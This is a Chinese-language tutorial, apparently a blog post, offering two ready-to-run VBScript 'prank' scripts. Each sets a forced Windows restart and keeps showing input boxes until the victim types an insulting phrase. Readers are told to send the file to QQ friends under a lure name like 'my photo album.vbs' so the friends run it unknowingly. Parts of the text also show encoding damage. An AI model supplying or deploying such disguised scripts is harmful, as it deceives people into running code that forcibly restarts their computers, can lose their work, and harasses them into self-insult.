先創(chuàng)建一個文本文檔，就是記事本txt格式
把下面的代碼復制過去保存就可以了
msgbox("這段代碼表示你想說的內(nèi)容")
其他的可以不用管
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是哈麻批"
a=inputbox("快在下面的框框里輸入我是哈麻批,否則后果自負，快輸""我是哈麻批"" ","輸不輸","")
loop
call shutdown(2)
msgbox "早說就行了嘛",4096+64
msgbox"再輸一遍我是哈麻批!",4096+64
msgbox"我是哈麻批!",4096+64
msgbox"最后一次!",4096+64
MsgBox"你想多了怎么可能!",4096+64
MsgBox"如果你很快的點過去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山里有個廟.",4096+64
MsgBox"廟里有個老和尚在講故事.",4096+64
ws.run"iexplore.exe http://www.baidu.com"
msgbox"哎呀累了！數(shù)綿羊哄我睡覺",4096+64
for i=1 to 100
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀看你可憐，這次就饒過你吧，下次注意哦!",4096+64
msgbox"最后問個問題，我是不是你的男神！",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
先創(chuàng)建一個文本文檔
然后輸入以上代碼 當然如果你想多說幾種話你可以在加一行msgbox保存即可
最后把txt格式改成vbs就可以了
如果想還圖標就先把這個文件創(chuàng)建一個快捷方式然后右擊鼠標選著屬性就會彈出以上內(nèi)容
還有更多需要的留言喲
天給大家?guī)硪粋€整人的VBS腳本，對方不說“我是豬”就定時關機的惡搞腳本，如果把他發(fā)給你的QQ好友 他不懂的話如果不輸“我是豬“” 電腦就會在你設定的時間內(nèi)關機。我在以下代碼內(nèi)設置的是3分鐘。
1、新建文本文檔，復制代碼。
代碼如下:
on error resume next
dim WSHshellA
set WSHshellA=wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關你機，不信，你試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a=inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵，豬"
dim WSHshell
set WSHshell=wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"
其中，cmd.exe /c shutdown -r -t 180 -c這里的數(shù)字可以修改關機時間為任意（秒）
2、保存記事本文檔，把txt文件的后綴名txt改成vbs。可以把名字寫成如“我的相冊.vbs”吸引人的字眼。
3、雙擊運行，查看效果。
如果不說“我是豬”或者輸入其他字的話，就會重復窗口，直到說“我是豬”為止。繼而踏出以下窗口：
如果不小心自己點開了，有兩種解決方法：一是的輸入“我是豬”進行解除；二是按Windows+R鍵打開運行輸入shutdown -a來解除關機命令（注意此時不要點擊正在運行的彈窗的任何按鈕），接著打開任務管理器找到wscript并結(jié)束進程就OK 啦。
想要學習更多電腦小知識，歡迎關注微信公眾號 vbs_edit（VBS腳本之家），很炫酷哦~！